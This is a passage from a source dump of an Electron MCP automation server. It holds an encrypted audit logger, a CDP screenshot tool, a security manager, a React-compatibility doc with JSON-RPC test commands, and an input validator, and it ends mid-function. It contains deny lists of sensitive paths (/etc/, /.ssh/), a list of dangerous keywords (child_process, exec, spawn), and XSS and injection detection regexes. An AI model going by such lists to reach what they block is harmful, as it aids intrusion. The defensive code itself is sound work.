logSecurityEvent(entry: AuditLogEntry): Promise<void> { try { // Ensure directory exists before writing await this.ensureLogDirectory(); const logFile = this.getLogFilePath(new Date()); const encryptedEntry = this.encryptLogEntry(entry); const logLine = JSON.stringify(encryptedEntry) + '\n'; await fs.appendFile(logFile, logLine, 'utf8'); // Also log to console for immediate monitoring const logLevel = this.getLogLevel(entry.riskLevel); logger[logLevel]( `Security Event [${entry.action}]: ${entry.success ? 'SUCCESS' : 'BLOCKED'}`, { sessionId: entry.sessionId, riskLevel: entry.riskLevel, executionTime: entry.executionTime, }, ); } catch (error) { logger.error('Failed to write security log:', error); } } async getSecurityMetrics(since?: Date): Promise<SecurityMetrics> { try { const entries = await this.readLogEntries(since); const totalRequests = entries.length; const blockedRequests = entries.filter((e) => !e.success).length; const highRiskRequests = entries.filter((e) => e.riskLevel === 'high').length; const criticalRiskRequests = entries.filter((e) => e.riskLevel === 'critical').length; const totalExecutionTime = entries.reduce((sum, e) => sum + e.executionTime, 0); const averageExecutionTime = totalRequests > 0 ? totalExecutionTime / totalRequests : 0; const commandCounts = new Map<string, number>(); entries.forEach((e) => { if (e.command) { const truncated = e.command.substring(0, 50); commandCounts.set(truncated, (commandCounts.get(truncated) || 0) + 1); } }); const topCommands = Array.from(commandCounts.entries()) .sort((a, b) => b[1] - a[1]) .slice(0, 10) .map(([command, count]) => ({ command, count })); const errorRate = totalRequests > 0 ? blockedRequests / totalRequests : 0; return { totalRequests, blockedRequests, highRiskRequests, criticalRiskRequests, averageExecutionTime, topCommands, errorRate, }; } catch (error) { logger.error('Failed to generate security metrics:', error); throw error; } } async searchLogs(criteria: { action?: string; riskLevel?: string; since?: Date; until?: Date; limit?: number; }): Promise<AuditLogEntry[]> { try { const entries = await this.readLogEntries(criteria.since, criteria.until); let filtered = entries; if (criteria.action) { filtered = filtered.filter((e) => e.action === criteria.action); } if (criteria.riskLevel) { filtered = filtered.filter((e) => e.riskLevel === criteria.riskLevel); } if (criteria.limit) { filtered = filtered.slice(0, criteria.limit); } return filtered; } catch (error) { logger.error('Failed to search security logs:', error); throw error; } } private async ensureLogDirectory(): Promise<void> { try { await fs.mkdir(this.logDir, { recursive: true }); } catch (error) { logger.error('Failed to create log directory:', error); } } private getOrCreateEncryptionKey(): Buffer { const keyPath = join(this.logDir, '.security-key'); try { // Try to read existing key const keyData = readFileSync(keyPath); return Buffer.from(keyData); } catch { // Generate new key const key = randomBytes(32); try { // Ensure directory exists before writing key mkdirSync(this.logDir, { recursive: true }); writeFileSync(keyPath, key); // Restrict permissions on the key file chmodSync(keyPath, 0o600); } catch (error) { logger.warn('Failed to save encryption key:', error); } return key; } } private encryptLogEntry(entry: AuditLogEntry): any { const sensitiveFields = ['command', 'error', 'sourceIP', 'userAgent']; const encrypted: any = { ...entry }; for (const field of sensitiveFields) { if (encrypted[field]) { const value = String(encrypted[field]); encrypted[field] = this.encryptString(value); } } return encrypted; } private encryptString(text: string): string { try { const iv = randomBytes(16); const cipher = createCipheriv('aes-256-cbc', this.encryptionKey, iv); let encrypted = cipher.update(text, 'utf8', 'hex'); encrypted += cipher.final('hex'); return iv.toString('hex') + ':' + encrypted; } catch { // Fallback to hash if encryption fails return createHash('sha256').update(text).digest('hex'); } } private decryptString(encryptedText: string): string { try { const parts = encryptedText.split(':'); if (parts.length !== 2) return '[ENCRYPTED]'; const iv = Buffer.from(parts[0], 'hex'); const encrypted = parts[1]; const decipher = createDecipheriv('aes-256-cbc', this.encryptionKey, iv); let decrypted = decipher.update(encrypted, 'hex', 'utf8'); decrypted += decipher.final('utf8'); return decrypted; } catch { return '[ENCRYPTED]'; } } private getLogFilePath(date: Date): string { const dateStr = date.toISOString().split('T')[0]; // YYYY-MM-DD return join(this.logDir, `security-${dateStr}.log`); } private getLogLevel(riskLevel: string): 'info' | 'warn' | 'error' { switch (riskLevel) { case 'critical': return 'error'; case 'high': return 'error'; case 'medium': return 'warn'; default: return 'info'; } } private async readLogEntries(since?: Date, until?: Date): Promise<AuditLogEntry[]> { const entries: AuditLogEntry[] = []; const now = new Date(); const startDate = since || new Date(now.getTime() - 30 * 24 * 60 * 60 * 1000); // 30 days ago const endDate = until || now; // Read log files for the date range const currentDate = new Date(startDate); while (currentDate <= endDate) { const logFile = this.getLogFilePath(currentDate); try { const content = await fs.readFile(logFile, 'utf8'); const lines = content.trim().split('\n'); for (const line of lines) { if (line.trim()) { try { const entry = JSON.parse(line); entries.push(this.decryptLogEntry(entry)); } catch (parseError) { logger.warn('Failed to parse log entry:', parseError); } } } } catch { // File doesn't exist or can't be read - skip silently } currentDate.setDate(currentDate.getDate() + 1); } return entries.sort( (a, b) => new Date(b.timestamp).getTime() - new Date(a.timestamp).getTime(), ); } private decryptLogEntry(entry: any): AuditLogEntry { const sensitiveFields = ['command', 'error', 'sourceIP', 'userAgent']; const decrypted = { ...entry }; for (const field of sensitiveFields) { if (decrypted[field]) { decrypted[field] = this.decryptString(decrypted[field]); } } return decrypted as AuditLogEntry; } } // Global security logger instance export const securityLogger = new SecurityLogger(); ``` -------------------------------------------------------------------------------- /src/screenshot.ts: -------------------------------------------------------------------------------- ```typescript import { chromium } from 'playwright'; import * as fs from 'fs/promises'; import { createCipheriv, randomBytes, pbkdf2Sync } from 'crypto'; import { logger } from './utils/logger'; import { scanForElectronApps } from './utils/electron-discovery'; import * as path from 'path'; // Generate a fallback encryption key if none is provided function generateFallbackKey(): string { const fallbackKey = randomBytes(32).toString('hex'); logger.warn('⚠️ SCREENSHOT_ENCRYPTION_KEY not set - using temporary key for this session'); logger.warn('⚠️ Screenshots will not be decryptable after restart!'); logger.warn('⚠️ For production use, set SCREENSHOT_ENCRYPTION_KEY environment variable'); logger.warn('⚠️ Generate a permanent key with: openssl rand -hex 32'); return fallbackKey; } // Validate and get encryption key with fallback function getEncryptionKey(): string { const key = process.env.SCREENSHOT_ENCRYPTION_KEY; if (!key) { return generateFallbackKey(); } if (key === 'default-screenshot-key-change-me') { logger.warn('⚠️ SCREENSHOT_ENCRYPTION_KEY is set to default value - using temporary key'); logger.warn('⚠️ Please set a secure key with: openssl rand -hex 32'); return generateFallbackKey(); } if (key.length < 32) { logger.warn('⚠️ SCREENSHOT_ENCRYPTION_KEY too short - using temporary key'); logger.warn('⚠️ Key must be at least 32 characters. Generate with: openssl rand -hex 32'); return generateFallbackKey(); } return key; } interface EncryptedScreenshot { encryptedData: string; iv: string; salt: string; // Add salt to be stored with encrypted data timestamp: string; } /** * Validate if a file path is safe for screenshot output */ function validateScreenshotPath(outputPath: string): boolean { if (!outputPath) return true; // Normalize the path to detect path traversal const normalizedPath = path.normalize(outputPath); // Block dangerous paths const dangerousPaths = [ '/etc/', '/sys/', '/proc/', '/dev/', '/bin/', '/sbin/', '/usr/bin/', '/usr/sbin/', '/root/', '/home/', '/.ssh/', 'C:\\Windows\\System32\\', 'C:\\Windows\\SysWOW64\\', 'C:\\Program Files\\', 'C:\\Users\\', '\\Windows\\System32\\', '\\Windows\\SysWOW64\\', '\\Program Files\\', '\\Users\\', ]; // Check for dangerous path patterns for (const dangerousPath of dangerousPaths) { if (normalizedPath.toLowerCase().includes(dangerousPath.toLowerCase())) { return false; } } // Block path traversal attempts if (normalizedPath.includes('..') || normalizedPath.includes('~')) { return false; } // Block absolute paths to system directories if (path.isAbsolute(normalizedPath)) { const absolutePath = normalizedPath.toLowerCase(); if ( absolutePath.startsWith('/etc') || absolutePath.startsWith('/sys') || absolutePath.startsWith('/proc') || absolutePath.startsWith('c:\\windows') || absolutePath.startsWith('c:\\program files') ) { return false; } } return true; } // Validate that required environment variables are set function validateEnvironmentVariables(): string { return getEncryptionKey(); } // Encrypt screenshot data for secure storage and transmission function encryptScreenshotData(buffer: Buffer): EncryptedScreenshot { try { // Get validated encryption key (with fallback) const password = validateEnvironmentVariables(); const algorithm = 'aes-256-cbc'; const iv = randomBytes(16); // Derive a proper key from the password using PBKDF2 const salt = randomBytes(32); const key = pbkdf2Sync(password, salt, 100000, 32, 'sha512'); const cipher = createCipheriv(algorithm, key, iv); let encrypted = cipher.update(buffer.toString('base64'), 'utf8', 'hex'); encrypted += cipher.final('hex'); return { encryptedData: encrypted, iv: iv.toString('hex'), salt: salt.toString('hex'), // Store salt with encrypted data timestamp: new Date().toISOString(), }; } catch (error) { logger.warn('Failed to encrypt screenshot data:', error); // Fallback to base64 encoding if encryption fails return { encryptedData: buffer.toString('base64'), iv: '', salt: '', // Empty salt for fallback timestamp: new Date().toISOString(), }; } } // Helper function to take screenshot using only Playwright CDP (Chrome DevTools Protocol) export async function takeScreenshot( outputPath?: string, windowTitle?: string, ): Promise<{ filePath?: string; base64: string; data: string; error?: string; }> { // Validate output path for security if (outputPath && !validateScreenshotPath(outputPath)) { throw new Error( `Invalid output path: ${outputPath}. Path appears to target a restricted system location.`, ); } // Inform user about screenshot logger.info('📸 Taking screenshot of Electron application', { outputPath, windowTitle, timestamp: new Date().toISOString(), }); try { // Find running Electron applications const apps = await scanForElectronApps(); if (apps.length === 0) { throw new Error('No running Electron applications found with remote debugging enabled'); } // Use the first app found (or find by title if specified) let targetApp = apps[0]; if (windowTitle) { const namedApp = apps.find((app) => app.targets.some((target) => target.title?.toLowerCase().includes(windowTitle.toLowerCase()), ), ); if (namedApp) { targetApp = namedApp; } } // Connect to the Electron app's debugging port const browser = await chromium.connectOverCDP(`http://localhost:${targetApp.port}`); const contexts = browser.contexts(); if (contexts.length === 0) { throw new Error( 'No browser contexts found - make sure Electron app is running with remote debugging enabled', ); } const context = contexts[0]; const pages = context.pages(); if (pages.length === 0) { throw new Error('No pages found in the browser context'); } // Find the main application page (skip DevTools pages) let targetPage = pages[0]; for (const page of pages) { const url = page.url(); const title = await page.title().catch(() => ''); // Skip DevTools and about:blank pages if ( !url.includes('devtools://') && !url.includes('about:blank') && title && !title.includes('DevTools') ) { // If windowTitle is specified, try to match it if (windowTitle && title.toLowerCase().includes(windowTitle.toLowerCase())) { targetPage = page; break; } else if (!windowTitle) { targetPage = page; break; } } } logger.info(`Taking screenshot of page: ${targetPage.url()} (${await targetPage.title()})`); // Take screenshot as buffer (in memory) const screenshotBuffer = await targetPage.screenshot({ type: 'png', fullPage: false, }); await browser.close(); // Encrypt screenshot data for security const encryptedScreenshot = encryptScreenshotData(screenshotBuffer); // Convert buffer to base64 for transmission const base64Data = screenshotBuffer.toString('base64'); logger.info( `Screenshot captured and encrypted successfully (${screenshotBuffer.length} bytes)`, ); // If outputPath is provided, save encrypted data to file if (outputPath) { await fs.writeFile(outputPath + '.encrypted', JSON.stringify(encryptedScreenshot)); // Also save unencrypted for compatibility (in production, consider removing this) await fs.writeFile(outputPath, screenshotBuffer); return { filePath: outputPath, base64: base64Data, data: `Screenshot saved to: ${outputPath} (encrypted backup: ${outputPath}.encrypted) and returned as base64 data`, }; } else { return { base64: base64Data, data: `Screenshot captured as base64 data (${screenshotBuffer.length} bytes) - no file saved`, }; } } catch (error) { const errorMessage = error instanceof Error ? error.message : String(error); throw new Error( `Screenshot failed: ${errorMessage}. Make sure the Electron app is running with remote debugging enabled (--remote-debugging-port=9222)`, ); } } ``` -------------------------------------------------------------------------------- /src/security/manager.ts: -------------------------------------------------------------------------------- ```typescript import { CodeSandbox, SandboxResult } from './sandbox'; import { InputValidator } from './validation'; import { securityLogger, AuditLogEntry } from './audit'; import { randomUUID } from 'crypto'; import { logger } from '../utils/logger'; import { SecurityLevel, getSecurityConfig, getDefaultSecurityLevel } from './config'; export interface SecurityConfig { enableSandbox: boolean; enableInputValidation: boolean; enableAuditLog: boolean; enableScreenshotEncryption: boolean; defaultRiskThreshold: 'low' | 'medium' | 'high' | 'critical'; sandboxTimeout: number; maxExecutionTime: number; } export interface SecureExecutionContext { command: string; args?: any; sourceIP?: string; userAgent?: string; operationType: 'command' | 'screenshot' | 'logs' | 'window_info'; } export interface SecureExecutionResult { success: boolean; result?: any; error?: string; executionTime: number; riskLevel: 'low' | 'medium' | 'high' | 'critical'; blocked: boolean; sessionId: string; } export class SecurityManager { private config: SecurityConfig; private sandbox: CodeSandbox; private securityLevel: SecurityLevel; private sandboxCache = new Map<string, boolean>(); constructor(config: Partial<SecurityConfig> = {}, securityLevel?: SecurityLevel) { this.securityLevel = securityLevel || getDefaultSecurityLevel(); const defaultConfig = getSecurityConfig(this.securityLevel); this.config = { enableSandbox: true, enableInputValidation: true, enableAuditLog: true, enableScreenshotEncryption: true, defaultRiskThreshold: 'medium', sandboxTimeout: 5000, maxExecutionTime: 30000, ...defaultConfig, ...config, }; // Set the security level in the validator InputValidator.setSecurityLevel(this.securityLevel); this.sandbox = new CodeSandbox({ timeout: this.config.sandboxTimeout, maxMemory: 50 * 1024 * 1024, // 50MB }); logger.info('Security Manager initialized with config:', { ...this.config, securityLevel: this.securityLevel, }); } setSecurityLevel(level: SecurityLevel) { this.securityLevel = level; InputValidator.setSecurityLevel(level); // Update config based on new security level const newConfig = getSecurityConfig(level); this.config = { ...this.config, ...newConfig }; logger.info(`Security level updated to: ${level}`); } getSecurityLevel(): SecurityLevel { return this.securityLevel; } async executeSecurely(context: SecureExecutionContext): Promise<SecureExecutionResult> { const sessionId = randomUUID(); const startTime = Date.now(); logger.info(`Secure execution started [${sessionId}]`, { command: context.command.substring(0, 100), operationType: context.operationType, }); try { // Step 1: Input Validation const validation = InputValidator.validateCommand({ command: context.command, args: context.args, }); if (!validation.isValid) { const reason = `Input validation failed: ${validation.errors.join(', ')}`; return this.createBlockedResult(sessionId, startTime, reason, validation.riskLevel); } // Step 2: Risk Assessment if ( validation.riskLevel === 'critical' || (this.config.defaultRiskThreshold === 'high' && validation.riskLevel === 'high') ) { const reason = `Risk level too high: ${validation.riskLevel}`; return this.createBlockedResult(sessionId, startTime, reason, validation.riskLevel); } // Step 3: Sandboxed Execution (for JavaScript code execution only, not command dispatch) let executionResult: SandboxResult; if ( context.operationType === 'command' && this.config.enableSandbox && this.shouldSandboxCommand(context.command) ) { // Only sandbox if this looks like actual JavaScript code, not a command name executionResult = await this.sandbox.executeCode(validation.sanitizedInput.command); } else { // For command names (like 'click_by_text') and other operations, skip sandbox // The actual JavaScript generation and execution happens in the enhanced commands executionResult = { success: true, result: validation.sanitizedInput.command, executionTime: 0, }; } // Step 4: Create result const result: SecureExecutionResult = { success: executionResult.success, result: executionResult.result, error: executionResult.error, executionTime: Date.now() - startTime, riskLevel: validation.riskLevel, blocked: false, sessionId, }; // Step 5: Audit Logging if (this.config.enableAuditLog) { await this.logSecurityEvent(context, result); } logger.info(`Secure execution completed [${sessionId}]`, { success: result.success, executionTime: result.executionTime, riskLevel: result.riskLevel, }); return result; } catch (error) { const result: SecureExecutionResult = { success: false, error: error instanceof Error ? error.message : String(error), executionTime: Date.now() - startTime, riskLevel: 'high', blocked: false, sessionId, }; if (this.config.enableAuditLog) { await this.logSecurityEvent(context, result); } logger.error(`Secure execution failed [${sessionId}]:`, error); return result; } } updateConfig(newConfig: Partial<SecurityConfig>): void { this.config = { ...this.config, ...newConfig }; logger.info('Security configuration updated:', newConfig); } getConfig(): SecurityConfig { return { ...this.config }; } // Private helper methods private createBlockedResult( sessionId: string, startTime: number, reason: string, riskLevel: 'low' | 'medium' | 'high' | 'critical', ): SecureExecutionResult { return { success: false, error: reason, executionTime: Date.now() - startTime, riskLevel, blocked: true, sessionId, }; } private async logSecurityEvent( context: SecureExecutionContext, result: SecureExecutionResult, ): Promise<void> { const logEntry: AuditLogEntry = { timestamp: new Date().toISOString(), sessionId: result.sessionId, action: context.operationType, command: context.command, riskLevel: result.riskLevel, success: result.success, error: result.error, executionTime: result.executionTime, sourceIP: context.sourceIP, userAgent: context.userAgent, }; await securityLogger.logSecurityEvent(logEntry); } /** * Determines if a command should be executed in a sandbox * @param command The command to check * @returns true if the command should be sandboxed */ shouldSandboxCommand(command: string): boolean { // Check cache first for performance if (this.sandboxCache.has(command)) { return this.sandboxCache.get(command)!; } const result = this._shouldSandboxCommand(command); // Cache result (limit cache size to prevent memory leaks) if (this.sandboxCache.size < 1000) { this.sandboxCache.set(command, result); } return result; } /** * Internal method to determine if a command should be sandboxed */ private _shouldSandboxCommand(command: string): boolean { // Skip sandboxing for simple command names (like MCP tool names) if (this.isSimpleCommandName(command)) { return false; } // Sandbox if it looks like JavaScript code const jsIndicators = [ '(', // Function calls 'document.', // DOM access 'window.', // Window object access 'const ', // Variable declarations 'let ', // Variable declarations 'var ', // Variable declarations 'function', // Function definitions '=>', // Arrow functions 'eval(', // Direct eval calls 'new ', // Object instantiation 'this.', // Object method calls '=', // Assignments (but not comparison) ';', // Statement separators '{', // Code blocks 'return', // Return statements ]; return jsIndicators.some((indicator) => command.includes(indicator)); } /** * Checks if a command is a simple command name (not JavaScript code) * @param command The command to check * @returns true if it's a simple command name */ private isSimpleCommandName(command: string): boolean { // Simple command names are typically: // - Single words or snake_case/kebab-case // - No spaces except between simple arguments // - No JavaScript syntax const simpleCommandPattern = /^[a-zA-Z_][a-zA-Z0-9_-]*(\s+[a-zA-Z0-9_-]+)*$/; return simpleCommandPattern.test(command.trim()); } } // Global security manager instance export const securityManager = new SecurityManager(); ``` -------------------------------------------------------------------------------- /REACT_COMPATIBILITY_ISSUES.md: -------------------------------------------------------------------------------- ```markdown # React Compatibility Issues Documentation This document provides concrete examples of React compatibility issues with the Electron MCP Server, including exact commands, error outputs, and technical details for debugging. ## Issue 1: Click Commands Fail with preventDefault ### Problem Description React components that call `e.preventDefault()` in click handlers cause MCP click commands to report false failures, even though the click actually works correctly. ### Technical Details - **Affected Commands**: `click_by_text`, `click_by_selector` - **Error Location**: `src/utils/electron-commands.ts` line 496-499 - **Root Cause**: `dispatchEvent()` returns `false` when `preventDefault()` is called, which was incorrectly treated as a failure ### Reproduction Steps #### 1. Target Application Setup React component with preventDefault: ```jsx const handleClick = (e) => { e.preventDefault(); // This causes the MCP failure console.log('Button clicked successfully'); }; <button id="react-button" onClick={handleClick}> React Button </button> ``` #### 2. MCP Command ```bash echo '{"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "React Button"}}}}' | node dist/index.js ``` #### 3. Error Output (Before Fix) ``` [MCP] INFO: Tool call: send_command_to_electron [MCP] INFO: Secure execution started [session-id] { command: 'click_by_text', operationType: 'command' } [MCP] INFO: Security Event [command]: SUCCESS { sessionId: 'session-id', riskLevel: 'low', executionTime: 2 } [MCP] INFO: Secure execution completed [session-id] { success: true, executionTime: 2, riskLevel: 'low' } {"result":{"content":[{"type":"text","text":"❌ Error: Click events were cancelled by the page"}],"isError":true},"jsonrpc":"2.0","id":1} ``` #### 4. Browser Console (Proof Click Works) ``` React button clicked successfully Global click detected: {target: "BUTTON", id: "react-button", defaultPrevented: true, bubbles: true, cancelable: true} ``` #### 5. Success Output (After Fix) ``` [MCP] INFO: Tool call: send_command_to_electron [MCP] INFO: Secure execution started [session-id] { command: 'click_by_text', operationType: 'command' } [MCP] INFO: Security Event [command]: SUCCESS { sessionId: 'session-id', riskLevel: 'low', executionTime: 2 } [MCP] INFO: Secure execution completed [session-id] { success: true, executionTime: 2, riskLevel: 'low' } {"result":{"content":[{"type":"text","text":"✅ Result: ✅ Command executed: Successfully clicked element (score: 113.27586206896552): \"React Button (preventDefault)\" - searched for: \"React Button\""}],"isError":false},"jsonrpc":"2.0","id":1} ``` ### Code Fix Applied **File**: `src/utils/electron-commands.ts` **Lines Removed** (496-499): ```typescript if (!clickSuccessful) { throw new Error('Click events were cancelled by the page'); } ``` **Explanation**: `preventDefault()` is normal React behavior and doesn't indicate a failed click. --- ## Issue 2: Form Input Detection Working Correctly ### Problem Description (Original Report) Original report claimed: "fill_input commands return 'No suitable input found' despite inputs being visible in get_page_structure output." ### Investigation Results **Status**: ✅ **RESOLVED** - Issue was incorrectly reported. Form input detection works perfectly. ### Technical Details - **Affected Commands**: `fill_input` - **Scoring Algorithm**: `src/utils/electron-input-commands.ts` lines 180-217 - **Actual Status**: Working correctly for React-rendered inputs ### Test Results #### 1. Page Structure Detection ```bash echo '{"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "get_page_structure", "args": {}}}}' | node dist/index.js ``` **Output**: ```json { "result": { "content": [{ "type": "text", "text": "✅ Command executed: {\n \"inputs\": [\n {\n \"type\": \"text\",\n \"placeholder\": \"Enter username...\",\n \"label\": \"Username:\",\n \"id\": \"username\",\n \"name\": \"username\",\n \"visible\": true\n },\n {\n \"type\": \"email\",\n \"placeholder\": \"[email protected]\",\n \"label\": \"Email:\",\n \"id\": \"email\",\n \"name\": \"email\",\n \"visible\": true\n },\n {\n \"type\": \"password\",\n \"placeholder\": \"Enter password...\",\n \"label\": \"Password:\",\n \"id\": \"password\",\n \"name\": \"password\",\n \"visible\": true\n },\n {\n \"type\": \"number\",\n \"placeholder\": \"25\",\n \"label\": \"Age:\",\n \"id\": \"age\",\n \"name\": \"age\",\n \"visible\": true\n },\n {\n \"type\": \"textarea\",\n \"placeholder\": \"Enter your comments...\",\n \"label\": \"Comments:\",\n \"id\": \"comments\",\n \"name\": \"comments\",\n \"visible\": true\n }\n ]\n}" }], "isError": false } } ``` #### 2. Text Input Fill Test ```bash echo '{"jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "username", "value": "john_doe"}}}}' | node dist/index.js ``` **Output**: ```json {"result":{"content":[{"type":"text","text":"✅ Result: ✅ Command executed: Successfully filled input \"Username:\" with: \"john_doe\""}],"isError":false},"jsonrpc":"2.0","id":2} ``` #### 3. Email Input Fill Test ```bash echo '{"jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "email", "value": "[email protected]"}}}}' | node dist/index.js ``` **Output**: ```json {"result":{"content":[{"type":"text","text":"✅ Result: ✅ Command executed: Successfully filled input \"Email:\" with: \"[email protected]\""}],"isError":false},"jsonrpc":"2.0","id":3} ``` #### 4. Selector-Based Fill Test ```bash echo '{"jsonrpc": "2.0", "id": 4, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"selector": "#username", "value": "updated_username"}}}}' | node dist/index.js ``` **Output**: ```json {"result":{"content":[{"type":"text","text":"✅ Result: ✅ Command executed: Successfully filled input \"Username:\" with: \"updated_username\""}],"isError":false},"jsonrpc":"2.0","id":4} ``` ### Scoring Algorithm Details The scoring algorithm in `electron-input-commands.ts` successfully matches inputs by: 1. **Exact text matches** (100 points): label, placeholder, name, id 2. **Partial text matching** (50 points): contains search term 3. **Fuzzy matching** (25 points): similarity calculation 4. **Visibility bonus** (20 points): visible and enabled inputs 5. **Input type bonus** (10 points): text/password/email inputs --- ## Testing Commands Reference ### Complete Test Sequence #### 1. Start Test Environment ```bash # Start React test application npm run test:react # Or manually: cd tests/integration/react-compatibility electron test-react-electron.cjs ``` #### 2. Basic Connectivity Test ```bash echo '{"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "get_electron_window_info", "arguments": {}}}' | node dist/index.js ``` #### 3. Page Structure Analysis ```bash echo '{"jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "get_page_structure", "args": {}}}}' | node dist/index.js ``` #### 4. Click Command Tests ```bash # React button with preventDefault echo '{"jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "React Button"}}}}' | node dist/index.js # Normal button echo '{"jsonrpc": "2.0", "id": 4, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "Normal Button"}}}}' | node dist/index.js # Submit button echo '{"jsonrpc": "2.0", "id": 5, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "Submit Form"}}}}' | node dist/index.js ``` #### 5. Form Input Tests ```bash # Username field echo '{"jsonrpc": "2.0", "id": 6, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "username", "value": "testuser"}}}}' | node dist/index.js # Email field echo '{"jsonrpc": "2.0", "id": 7, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "email", "value": "[email protected]"}}}}' | node dist/index.js # Password field echo '{"jsonrpc": "2.0", "id": 8, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "password", "value": "secretpass"}}}}' | node dist/index.js # Number field echo '{"jsonrpc": "2.0", "id": 9, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "age", "value": "25"}}}}' | node dist/index.js # Textarea echo '{"jsonrpc": "2.0", "id": 10, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "comments", "value": "Test comment"}}}}' | node dist/index.js ``` #### 6. Visual Verification ```bash echo '{"jsonrpc": "2.0", "id": 11, "method": "tools/call", "params": {"name": "take_screenshot", "arguments": {}}}' | node dist/index.js ``` ### Expected Results Summary - ✅ All click commands should succeed (preventDefault fix applied) - ✅ All form inputs should be detected and filled successfully - ✅ No "Click events were cancelled by the page" errors - ✅ No "No suitable input found" errors - ✅ Page structure should show all React-rendered elements ``` -------------------------------------------------------------------------------- /src/security/validation.ts: -------------------------------------------------------------------------------- ```typescript import { z } from 'zod'; import { logger } from '../utils/logger'; import { SecurityLevel, SECURITY_PROFILES, getDefaultSecurityLevel } from './config'; // Input validation schemas export const SecureCommandSchema = z.object({ command: z.string().min(1).max(10000), args: z.any().optional(), sessionId: z.string().optional(), }); export interface ValidationResult { isValid: boolean; errors: string[]; sanitizedInput?: any; riskLevel: 'low' | 'medium' | 'high' | 'critical'; } export class InputValidator { private static securityLevel: SecurityLevel = getDefaultSecurityLevel(); static setSecurityLevel(level: SecurityLevel) { this.securityLevel = level; logger.info(`Security level changed to: ${level}`); } static getSecurityLevel(): SecurityLevel { return this.securityLevel; } private static readonly DANGEROUS_KEYWORDS = [ 'Function', 'constructor', '__proto__', 'prototype', 'process', 'require', 'import', 'fs', 'child_process', 'exec', 'spawn', 'fork', 'cluster', 'worker_threads', 'vm', 'repl', 'readline', 'crypto', 'http', 'https', 'net', 'dgram', 'tls', 'url', 'querystring', 'path', 'os', 'util', 'events', 'stream', 'buffer', 'timers', 'setImmediate', 'clearImmediate', 'setTimeout', 'clearTimeout', 'setInterval', 'clearInterval', 'global', 'globalThis', ]; private static readonly XSS_PATTERNS = [ /<script[^>]*>[\s\S]*?<\/script>/gi, /javascript:/gi, /on\w+\s*=/gi, /<iframe[^>]*>/gi, /<object[^>]*>/gi, /<embed[^>]*>/gi, /<link[^>]*>/gi, /<meta[^>]*>/gi, ]; private static readonly INJECTION_PATTERNS = [ /['"];\s*(?:drop|delete|insert|update|select|union|exec|execute)\s+/gi, /\$\{[^}]*\}/g, // Template literal injection /`[^`]*`/g, // Backtick strings /eval\s*\(/gi, /new\s+Function\s*\(/gi, // Function constructor only, not function expressions /window\s*\[\s*['"]Function['"]\s*\]/gi, // Dynamic function access ]; static validateCommand(input: unknown): ValidationResult { try { // Parse and validate structure const parsed = SecureCommandSchema.parse(input); const result: ValidationResult = { isValid: true, errors: [], sanitizedInput: parsed, riskLevel: 'low', }; // Validate command content let commandValidation; if (parsed.command === 'eval' && parsed.args) { // Special validation for eval commands - validate the code being executed commandValidation = this.validateEvalContent(String(parsed.args)); } else { commandValidation = this.validateCommandContent(parsed.command); } result.errors.push(...commandValidation.errors); result.riskLevel = this.calculateRiskLevel(commandValidation.riskFactors); // Sanitize the command result.sanitizedInput.command = this.sanitizeCommand(parsed.command); result.isValid = result.errors.length === 0 && result.riskLevel !== 'critical'; return result; } catch (error) { return { isValid: false, errors: [ `Invalid input structure: ${error instanceof Error ? error.message : String(error)}`, ], riskLevel: 'high', }; } } private static validateCommandContent(command: string): { errors: string[]; riskFactors: string[]; } { const errors: string[] = []; const riskFactors: string[] = []; // Check for dangerous keywords, but allow legitimate function expressions for (const keyword of this.DANGEROUS_KEYWORDS) { const regex = new RegExp(`\\b${keyword}\\b`, 'gi'); if (regex.test(command)) { // Special handling for 'Function' keyword if (keyword === 'Function') { // Allow function expressions that start with ( like (function() {})() // Also allow function declarations like function name() {} // But block Function constructor calls const isFunctionExpression = /^\s*\(\s*function\s*\(/.test(command.trim()); const isFunctionDeclaration = /^\s*function\s+\w+\s*\(/.test(command.trim()); const isFunctionConstructor = /(?:new\s+Function\s*\(|(?:window\.|global\.)?Function\s*\()/gi.test(command); if (isFunctionConstructor && !isFunctionExpression && !isFunctionDeclaration) { errors.push(`Dangerous keyword detected: ${keyword}`); riskFactors.push(`dangerous_keyword_${keyword}`); } // Skip adding error for legitimate function expressions/declarations } else { errors.push(`Dangerous keyword detected: ${keyword}`); riskFactors.push(`dangerous_keyword_${keyword}`); } } } // Check for XSS patterns for (const pattern of this.XSS_PATTERNS) { if (pattern.test(command)) { errors.push(`Potential XSS pattern detected`); riskFactors.push('xss_pattern'); } } // Check for injection patterns for (const pattern of this.INJECTION_PATTERNS) { if (pattern.test(command)) { errors.push(`Potential code injection detected`); riskFactors.push('injection_pattern'); } } // Check command length if (command.length > 5000) { errors.push(`Command too long (${command.length} chars, max 5000)`); riskFactors.push('excessive_length'); } // Check for obfuscation attempts const obfuscationScore = this.calculateObfuscationScore(command); if (obfuscationScore > 0.7) { errors.push(`Potential code obfuscation detected (score: ${obfuscationScore.toFixed(2)})`); riskFactors.push('obfuscation'); } return { errors, riskFactors }; } /** * Special validation for eval commands - validates the actual code to be executed */ private static validateEvalContent(code: string): { 